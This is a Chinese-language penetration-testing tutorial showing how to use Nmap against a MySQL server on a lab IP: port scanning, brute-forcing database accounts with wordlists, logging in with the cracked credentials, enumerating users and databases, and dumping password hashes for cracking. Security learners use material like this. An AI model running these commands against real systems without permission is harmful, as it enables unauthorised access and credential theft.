利用
Nmap
我们可以对mysql
数据库进行渗透测试。通过目标的数据库名称、表、用户名,密码等核心信息进行收集,来完成肾透。本文让我们来一起学习。
端口扫描
我们先利用namp对目标进行扫描,看是否开启了3306
端口。
nmap -T4 -A -sT 192.168.5.38
如上图,我们可以看到目标开启了80
8080
3306
等端口。而3306
就是我们所需的数据库端口。
检索 MySQL 信息
通过下面命令,我们可以查看当前数据的版本、协议等相关的信息。
代码语言:javascript复制nmap --script=mysql-info 192.168.5.38
如上,我们发现目前正在运行的数据库版本为5.7.26
暴力破解账号
没错,我们的神器nmap也是具有暴力破解功能的。执行下面命令可以破解出当前数据库的账号和用户名。 当然这里的破解需要的是你的运气了。
代码语言:javascript复制nmap -p3306 --script=mysql-brute --script-args userdb=/root/user.txt,passdb=/root/pass.txt 192.168.5.38
参数说明 userdb
:用户名字典
passdb
:密码字典 破解效果如下
得到了两个数据库的用户名和密 lnds:123456@@
wp:123456@@
到这一步,我们便可以利用破解到的用户名和密码进行登录数据库。
代码语言:javascript复制mysql -h 192.168.5.38 -u wp -p
当然,如果你有幸破解了root
账号的密码,我们可以执行下面两个好玩的命令。
列举其他用户名
代码语言:javascript复制nmap -p3306 192.168.5.38 --script=mysql-users --script-args mysqluser=root,mysqlpass=toor
列举其他数据库
代码语言:javascript复制nmap -p3306 192.168.5.38 --script=mysql-databases --script-args mysqluser=root,mysqlpass=toor
检索哈希
代码语言:javascript复制nmap -p3306 192.168.5.38 --script=mysql-dump-hashes --script-args username=root,password=toor
通过这条命令,我们可以列出数据库中其他用户的hash值,然后我们在利用john
等破解工具进行hash
的破解。从而得到其他用户的密码。
总结
nmap对mysql的肾透,可见神器并非浪得虚名。但是无论哪种工具都有一定的局限性。如本文中,需要开启3306
数据库需要所有人可登录、需要强劲的密码字典。